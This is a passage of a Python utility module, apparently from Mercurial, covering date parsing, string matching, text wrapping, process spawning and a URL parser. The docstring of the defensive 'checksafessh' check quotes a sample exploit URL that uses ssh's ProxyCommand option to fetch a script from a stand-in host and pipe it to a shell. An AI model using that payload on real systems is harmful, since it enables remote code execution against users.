 def makedate(timestamp=None):
     '''Return a unix timestamp (or the current time) as a (unixtime,
     offset) tuple based off the local timezone.'''
     if timestamp is None:
         timestamp = time.time()
     if timestamp < 0:
         hint = _("check your clock")
         raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
     delta = (datetime.datetime.utcfromtimestamp(timestamp) -
              datetime.datetime.fromtimestamp(timestamp))
     tz = delta.days * 86400 + delta.seconds
     return timestamp, tz
 
 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
     """represent a (unixtime, offset) tuple as a localized time.
     unixtime is seconds since the epoch, and offset is the time zone's
     number of seconds away from UTC.
 
     >>> datestr((0, 0))
     'Thu Jan 01 00:00:00 1970 +0000'
     >>> datestr((42, 0))
     'Thu Jan 01 00:00:42 1970 +0000'
     >>> datestr((-42, 0))
     'Wed Dec 31 23:59:18 1969 +0000'
     >>> datestr((0x7fffffff, 0))
     'Tue Jan 19 03:14:07 2038 +0000'
     >>> datestr((-0x80000000, 0))
     'Fri Dec 13 20:45:52 1901 +0000'
     """
     t, tz = date or makedate()
     if "%1" in format or "%2" in format or "%z" in format:
         sign = (tz > 0) and "-" or "+"
         minutes = abs(tz) // 60
         q, r = divmod(minutes, 60)
         format = format.replace("%z", "%1%2")
         format = format.replace("%1", "%c%02d" % (sign, q))
         format = format.replace("%2", "%02d" % r)
     d = t - tz
     if d > 0x7fffffff:
         d = 0x7fffffff
     elif d < -0x80000000:
         d = -0x80000000
     # Never use time.gmtime() and datetime.datetime.fromtimestamp()
     # because they use the gmtime() system call which is buggy on Windows
     # for negative values.
     t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
     s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
     return s
 
 def shortdate(date=None):
     """turn (timestamp, tzoff) tuple into iso 8631 date."""
     return datestr(date, format='%Y-%m-%d')
 
 def parsetimezone(s):
     """find a trailing timezone, if any, in string, and return a
        (offset, remainder) pair"""
 
     if s.endswith("GMT") or s.endswith("UTC"):
         return 0, s[:-3].rstrip()
 
     # Unix-style timezones [+-]hhmm
     if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
         sign = (s[-5] == "+") and 1 or -1
         hours = int(s[-4:-2])
         minutes = int(s[-2:])
         return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
 
     # ISO8601 trailing Z
     if s.endswith("Z") and s[-2:-1].isdigit():
         return 0, s[:-1]
 
     # ISO8601-style [+-]hh:mm
     if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
         s[-5:-3].isdigit() and s[-2:].isdigit()):
         sign = (s[-6] == "+") and 1 or -1
         hours = int(s[-5:-3])
         minutes = int(s[-2:])
         return -sign * (hours * 60 + minutes) * 60, s[:-6]
 
     return None, s
 
 def strdate(string, format, defaults=None):
     """parse a localized time string and return a (unixtime, offset) tuple.
     if the string cannot be parsed, ValueError is raised."""
     if defaults is None:
         defaults = {}
 
     # NOTE: unixtime = localunixtime + offset
     offset, date = parsetimezone(string)
 
     # add missing elements from defaults
     usenow = False # default to using biased defaults
     for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
         part = pycompat.bytestr(part)
         found = [True for p in part if ("%"+p) in format]
         if not found:
             date += "@" + defaults[part][usenow]
             format += "@%" + part[0]
         else:
             # We've found a specific time element, less specific time
             # elements are relative to today
             usenow = True
 
     timetuple = time.strptime(encoding.strfromlocal(date),
                               encoding.strfromlocal(format))
     localunixtime = int(calendar.timegm(timetuple))
     if offset is None:
         # local timezone
         unixtime = int(time.mktime(timetuple))
         offset = unixtime - localunixtime
     else:
         unixtime = localunixtime + offset
     return unixtime, offset
 
 def parsedate(date, formats=None, bias=None):
     """parse a localized date/time and return a (unixtime, offset) tuple.
 
     The date may be a "unixtime offset" string or in one of the specified
     formats. If the date already is a (unixtime, offset) tuple, it is returned.
 
     >>> parsedate(' today ') == parsedate(\
                                   datetime.date.today().strftime('%b %d'))
     True
     >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
                                                datetime.timedelta(days=1)\
                                               ).strftime('%b %d'))
     True
     >>> now, tz = makedate()
     >>> strnow, strtz = parsedate('now')
     >>> (strnow - now) < 1
     True
     >>> tz == strtz
     True
     """
     if bias is None:
         bias = {}
     if not date:
         return 0, 0
     if isinstance(date, tuple) and len(date) == 2:
         return date
     if not formats:
         formats = defaultdateformats
     date = date.strip()
 
     if date == 'now' or date == _('now'):
         return makedate()
     if date == 'today' or date == _('today'):
         date = datetime.date.today().strftime('%b %d')
     elif date == 'yesterday' or date == _('yesterday'):
         date = (datetime.date.today() -
                 datetime.timedelta(days=1)).strftime('%b %d')
 
     try:
         when, offset = map(int, date.split(' '))
     except ValueError:
         # fill out defaults
         now = makedate()
         defaults = {}
         for part in ("d", "mb", "yY", "HI", "M", "S"):
             # this piece is for rounding the specific end of unknowns
             b = bias.get(part)
             if b is None:
                 if part[0:1] in "HMS":
                     b = "00"
                 else:
                     b = "0"
 
             # this piece is for matching the generic end to today's date
             n = datestr(now, "%" + part[0:1])
 
             defaults[part] = (b, n)
 
         for format in formats:
             try:
                 when, offset = strdate(date, format, defaults)
             except (ValueError, OverflowError):
                 pass
             else:
                 break
         else:
             raise error.ParseError(_('invalid date: %r') % date)
     # validate explicit (probably user-specified) date and
     # time zone offset. values must fit in signed 32 bits for
     # current 32-bit linux runtimes. timezones go from UTC-12
     # to UTC+14
     if when < -0x80000000 or when > 0x7fffffff:
         raise error.ParseError(_('date exceeds 32 bits: %d') % when)
     if offset < -50400 or offset > 43200:
         raise error.ParseError(_('impossible time zone offset: %d') % offset)
     return when, offset
 
 def matchdate(date):
     """Return a function that matches a given date match specifier
 
     Formats include:
 
     '{date}' match a given date to the accuracy provided
 
     '<{date}' on or before a given date
 
     '>{date}' on or after a given date
 
     >>> p1 = parsedate("10:29:59")
     >>> p2 = parsedate("10:30:00")
     >>> p3 = parsedate("10:30:59")
     >>> p4 = parsedate("10:31:00")
     >>> p5 = parsedate("Sep 15 10:30:00 1999")
     >>> f = matchdate("10:30")
     >>> f(p1[0])
     False
     >>> f(p2[0])
     True
     >>> f(p3[0])
     True
     >>> f(p4[0])
     False
     >>> f(p5[0])
     False
     """
 
     def lower(date):
         d = {'mb': "1", 'd': "1"}
         return parsedate(date, extendeddateformats, d)[0]
 
     def upper(date):
         d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
         for days in ("31", "30", "29"):
             try:
                 d["d"] = days
                 return parsedate(date, extendeddateformats, d)[0]
             except Abort:
                 pass
         d["d"] = "28"
         return parsedate(date, extendeddateformats, d)[0]
 
     date = date.strip()
 
     if not date:
         raise Abort(_("dates cannot consist entirely of whitespace"))
     elif date[0] == "<":
         if not date[1:]:
             raise Abort(_("invalid day spec, use '<DATE'"))
         when = upper(date[1:])
         return lambda x: x <= when
     elif date[0] == ">":
         if not date[1:]:
             raise Abort(_("invalid day spec, use '>DATE'"))
         when = lower(date[1:])
         return lambda x: x >= when
     elif date[0] == "-":
         try:
             days = int(date[1:])
         except ValueError:
             raise Abort(_("invalid day spec: %s") % date[1:])
         if days < 0:
             raise Abort(_("%s must be nonnegative (see 'hg help dates')")
                 % date[1:])
         when = makedate()[0] - days * 3600 * 24
         return lambda x: x >= when
     elif " to " in date:
         a, b = date.split(" to ")
         start, stop = lower(a), upper(b)
         return lambda x: x >= start and x <= stop
     else:
         start, stop = lower(date), upper(date)
         return lambda x: x >= start and x <= stop
 
 def stringmatcher(pattern, casesensitive=True):
     """
     accepts a string, possibly starting with 're:' or 'literal:' prefix.
     returns the matcher name, pattern, and matcher function.
     missing or unknown prefixes are treated as literal matches.
 
     helper for tests:
     >>> def test(pattern, *tests):
     ...     kind, pattern, matcher = stringmatcher(pattern)
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
     >>> def itest(pattern, *tests):
     ...     kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
 
     exact matching (no prefix):
     >>> test('abcdefg', 'abc', 'def', 'abcdefg')
     ('literal', 'abcdefg', [False, False, True])
 
     regex matching ('re:' prefix)
     >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
     ('re', 'a.+b', [False, False, True])
 
     force exact matches ('literal:' prefix)
     >>> test('literal:re:foobar', 'foobar', 're:foobar')
     ('literal', 're:foobar', [False, True])
 
     unknown prefixes are ignored and treated as literals
     >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
     ('literal', 'foo:bar', [False, False, True])
 
     case insensitive regex matches
     >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
     ('re', 'A.+b', [False, False, True])
 
     case insensitive literal matches
     >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
     ('literal', 'ABCDEFG', [False, False, True])
     """
     if pattern.startswith('re:'):
         pattern = pattern[3:]
         try:
             flags = 0
             if not casesensitive:
                 flags = remod.I
             regex = remod.compile(pattern, flags)
         except remod.error as e:
             raise error.ParseError(_('invalid regular expression: %s')
                                    % e)
         return 're', pattern, regex.search
     elif pattern.startswith('literal:'):
         pattern = pattern[8:]
 
     match = pattern.__eq__
 
     if not casesensitive:
         ipat = encoding.lower(pattern)
         match = lambda s: ipat == encoding.lower(s)
     return 'literal', pattern, match
 
 def shortuser(user):
     """Return a short representation of a user name or email address."""
     f = user.find('@')
     if f >= 0:
         user = user[:f]
     f = user.find('<')
     if f >= 0:
         user = user[f + 1:]
     f = user.find(' ')
     if f >= 0:
         user = user[:f]
     f = user.find('.')
     if f >= 0:
         user = user[:f]
     return user
 
 def emailuser(user):
     """Return the user portion of an email address."""
     f = user.find('@')
     if f >= 0:
         user = user[:f]
     f = user.find('<')
     if f >= 0:
         user = user[f + 1:]
     return user
 
 def email(author):
     '''get email of author.'''
     r = author.find('>')
     if r == -1:
         r = None
     return author[author.find('<') + 1:r]
 
 def ellipsis(text, maxlength=400):
     """Trim string to at most maxlength (default: 400) columns in display."""
     return encoding.trim(text, maxlength, ellipsis='...')
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_("line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_("fromline must be strictly positive"))
     return fromline - 1, toline
 
 bytecount = unitcountfn(
     (100, 1 << 30, _('%.0f GB')),
     (10, 1 << 30, _('%.1f GB')),
     (1, 1 << 30, _('%.2f GB')),
     (100, 1 << 20, _('%.0f MB')),
     (10, 1 << 20, _('%.1f MB')),
     (1, 1 << 20, _('%.2f MB')),
     (100, 1 << 10, _('%.0f KB')),
     (10, 1 << 10, _('%.1f KB')),
     (1, 1 << 10, _('%.2f KB')),
     (1, 1, _('%.0f bytes')),
     )
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 def tolf(s):
     return _eolre.sub('\n', s)
 
 def tocrlf(s):
     return _eolre.sub('\r\n', s)
 
 if pycompat.oslinesep == '\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
 
 def escapestr(s):
     # call underlying function of s.encode('string_escape') directly for
     # Python 3 compatibility
     return codecs.escape_encode(s)[0]
 
 def unescapestr(s):
     return codecs.escape_decode(s)[0]
 
 def forcebytestr(obj):
     """Portably format an arbitrary object (e.g. exception) into a byte
     string."""
     try:
         return pycompat.bytestr(obj)
     except UnicodeEncodeError:
         # non-ascii string, may be lossy
         return pycompat.bytestr(encoding.strtolocal(str(obj)))
 
 def uirepr(s):
     # Avoid double backslash in Windows path repr()
     return repr(s).replace('\\\\', '\\')
 
 # delay import of textwrap
 def MBTextWrapper(**kwargs):
     class tw(textwrap.TextWrapper):
         """
         Extend TextWrapper for width-awareness.
 
         Neither number of 'bytes' in any encoding nor 'characters' is
         appropriate to calculate terminal columns for specified string.
 
         Original TextWrapper implementation uses built-in 'len()' directly,
         so overriding is needed to use width information of each characters.
 
         In addition, characters classified into 'ambiguous' width are
         treated as wide in East Asian area, but as narrow in other.
 
         This requires use decision to determine width of such characters.
         """
         def _cutdown(self, ucstr, space_left):
             l = 0
             colwidth = encoding.ucolwidth
             for i in xrange(len(ucstr)):
                 l += colwidth(ucstr[i])
                 if space_left < l:
                     return (ucstr[:i], ucstr[i:])
             return ucstr, ''
 
         # overriding of base class
         def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
             space_left = max(width - cur_len, 1)
 
             if self.break_long_words:
                 cut, res = self._cutdown(reversed_chunks[-1], space_left)
                 cur_line.append(cut)
                 reversed_chunks[-1] = res
             elif not cur_line:
                 cur_line.append(reversed_chunks.pop())
 
         # this overriding code is imported from TextWrapper of Python 2.6
         # to calculate columns of string by 'encoding.ucolwidth()'
         def _wrap_chunks(self, chunks):
             colwidth = encoding.ucolwidth
 
             lines = []
             if self.width <= 0:
                 raise ValueError("invalid width %r (must be > 0)" % self.width)
 
             # Arrange in reverse order so items can be efficiently popped
             # from a stack of chucks.
             chunks.reverse()
 
             while chunks:
 
                 # Start the list of chunks that will make up the current line.
                 # cur_len is just the length of all the chunks in cur_line.
                 cur_line = []
                 cur_len = 0
 
                 # Figure out which static string will prefix this line.
                 if lines:
                     indent = self.subsequent_indent
                 else:
                     indent = self.initial_indent
 
                 # Maximum width for this line.
                 width = self.width - len(indent)
 
                 # First chunk on line is whitespace -- drop it, unless this
                 # is the very beginning of the text (i.e. no lines started yet).
                 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
                     del chunks[-1]
 
                 while chunks:
                     l = colwidth(chunks[-1])
 
                     # Can at least squeeze this chunk onto the current line.
                     if cur_len + l <= width:
                         cur_line.append(chunks.pop())
                         cur_len += l
 
                     # Nope, this line is full.
                     else:
                         break
 
                 # The current line is full, and the next chunk is too big to
                 # fit on *any* line (not just this one).
                 if chunks and colwidth(chunks[-1]) > width:
                     self._handle_long_word(chunks, cur_line, cur_len, width)
 
                 # If the last chunk on this line is all whitespace, drop it.
                 if (self.drop_whitespace and
                     cur_line and cur_line[-1].strip() == r''):
                     del cur_line[-1]
 
                 # Convert current line back to a string and store it in list
                 # of all lines (return value).
                 if cur_line:
                     lines.append(indent + r''.join(cur_line))
 
             return lines
 
     global MBTextWrapper
     MBTextWrapper = tw
     return tw(**kwargs)
 
 def wrap(line, width, initindent='', hangindent=''):
     maxindent = max(len(hangindent), len(initindent))
     if width <= maxindent:
         # adjust for weird terminal size
         width = max(78, maxindent + 1)
     line = line.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     wrapper = MBTextWrapper(width=width,
                             initial_indent=initindent,
                             subsequent_indent=hangindent)
     return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
 
 if (pyplatform.python_implementation() == 'CPython' and
     sys.version_info < (3, 0)):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, '')
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = ''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if '\n' in buf:
                     splitted = line.splitlines(True)
                     line = ''
                     for l in splitted:
                         if l[-1] == '\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 def hgcmd():
     """Return the command used to execute current hg
 
     This is different from hgexecutable() because on Windows we want
     to avoid things opening new shell windows like batch files, so we
     get either the python call or current executable.
     """
     if mainfrozen():
         if getattr(sys, 'frozen', None) == 'macosx_app':
             # Env variable set by py2app
             return [encoding.environ['EXECUTABLEPATH']]
         else:
             return [pycompat.sysexecutable]
     return gethgcmd()
 
 def rundetached(args, condfn):
     """Execute the argument list in a detached process.
 
     condfn is a callable which is called repeatedly and should return
     True once the child process is known to have started successfully.
     At this point, the child process PID is returned. If the child
     process fails to start or finishes before condfn() evaluates to
     True, return -1.
     """
     # Windows case is easier because the child process is either
     # successfully starting and validating the condition or exiting
     # on failure. We just poll on its PID. On Unix, if the child
     # process fails to start, it will be left in a zombie state until
     # the parent wait on it, which we cannot do since we expect a long
     # running process on success. Instead we listen for SIGCHLD telling
     # us our child process terminated.
     terminated = set()
     def handler(signum, frame):
         terminated.add(os.wait())
     prevhandler = None
     SIGCHLD = getattr(signal, 'SIGCHLD', None)
     if SIGCHLD is not None:
         prevhandler = signal.signal(SIGCHLD, handler)
     try:
         pid = spawndetached(args)
         while not condfn():
             if ((pid in terminated or not testpid(pid))
                 and not condfn()):
                 return -1
             time.sleep(0.1)
         return pid
     finally:
         if prevhandler is not None:
             signal.signal(signal.SIGCHLD, prevhandler)
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = '|'.join(mapping.keys())
     if escape_prefix:
         patterns += '|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(r'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(port)
     except socket.error:
         raise Abort(_("no port number associated with service '%s'") % port)
 
 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
              '0': False, 'no': False, 'false': False, 'off': False,
              'never': False}
 
 def parsebool(s):
     """Parse s into a boolean.
 
     If s is not a valid boolean, returns None.
     """
     return _booleans.get(s.lower(), None)
 
 _hextochr = dict((a + b, chr(int(a + b, 16)))
                  for a in string.hexdigits for b in string.hexdigits)
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url('http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url('ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url('file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url('file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url('bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url('bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(r'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(r'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(r'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(r'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url('ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url('ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url('http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url('')
     <url path: ''>
     >>> url('#a')
     <url path: '', fragment: 'a'>
     >>> url('http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url('http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url('http:')
     <url scheme: 'http'>
     """
 
     _safechars = "!~*'()+"
     _safepchars = "/!~*'()+:\\"
     _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = ''
         self._origpath = path
 
         if parsefragment and '#' in path:
             path, self.fragment = path.split('#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith('\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith('bundle:'):
             self.scheme = 'bundle'
             path = path[7:]
             if path.startswith('//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = ''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and '?' in path:
                 path, self.query = path.split('?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith('//'):
                 parts = path[2:].split('/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = '/' + path
 
             if self.host and '@' in self.host:
                 self.user, self.host = self.host.rsplit('@', 1)
                 if ':' in self.user:
                     self.user, self.passwd = self.user.split(':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (self.host and ':' in self.host and
                 not (self.host.startswith('[') and self.host.endswith(']'))):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(':', 1)
                 if not self.host:
                     self.host = None
 
             if (self.host and self.scheme == 'file' and
                 self.host not in ('localhost', '127.0.0.1', '[::1]')):
                 raise Abort(_('file:// URLs can only refer to localhost'))
 
         self.path = path
 
         # leave the query string escaped
         for a in ('user', 'passwd', 'host', 'port',
                   'path', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     def __repr__(self):
         attrs = []
         for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
                   'query', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 attrs.append('%s: %r' % (a, v))
         return '<url %s>' % ', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> str(url('http://localhost:80//'))
         'http://localhost:80//'
         >>> str(url('http://localhost:80/'))
         'http://localhost:80/'
         >>> str(url('http://localhost:80'))
         'http://localhost:80/'
         >>> str(url('bundle:foo'))
         'bundle:foo'
         >>> str(url('bundle://../foo'))
         'bundle:../foo'
         >>> str(url('path'))
         'path'
         >>> str(url('file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> str(url('file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print url(r'bundle:foo\bar')
         bundle:foo\bar
         >>> print url(r'file:///D:\data\hg')
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == 'bundle':
                 s = 'bundle:' + s
             if self.fragment:
                 s += '#' + self.fragment
             return s
 
         s = self.scheme + ':'
         if self.user or self.passwd or self.host:
             s += '//'
         elif self.scheme and (not self.path or self.path.startswith('/')
                               or hasdriveletter(self.path)):
             s += '//'
             if hasdriveletter(self.path):
                 s += '/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += '@'
         if self.host:
             if not (self.host.startswith('[') and self.host.endswith(']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += ':' + urlreq.quote(self.port)
         if self.host:
             s += '/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += '?' + self.query
         if self.fragment is not None:
             s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host),
                     self.user, self.passwd or ''))
 
     def isabs(self):
         if self.scheme and self.scheme != 'file':
             return True # remote URL
         if hasdriveletter(self.path):
             return True # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True # Windows UNC path
         if self.path.startswith('/'):
             return True # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == 'file' or self.scheme == 'bundle':
             path = self.path or '/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + '/' + self.path
             elif (self.host is not None and self.path
                   and not hasdriveletter(path)):
                 path = '/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (not self.scheme or self.scheme == 'file'
                 or self.scheme == 'bundle')
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 def hasdriveletter(path):
     return path and path[1:2] == ':' and path[0:1].isalpha()
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
         raise error.Abort(_('potentially unsafe url: %r') %
                           (path,))
 
 def hidepassword(u):
     '''hide user credential in a url string'''
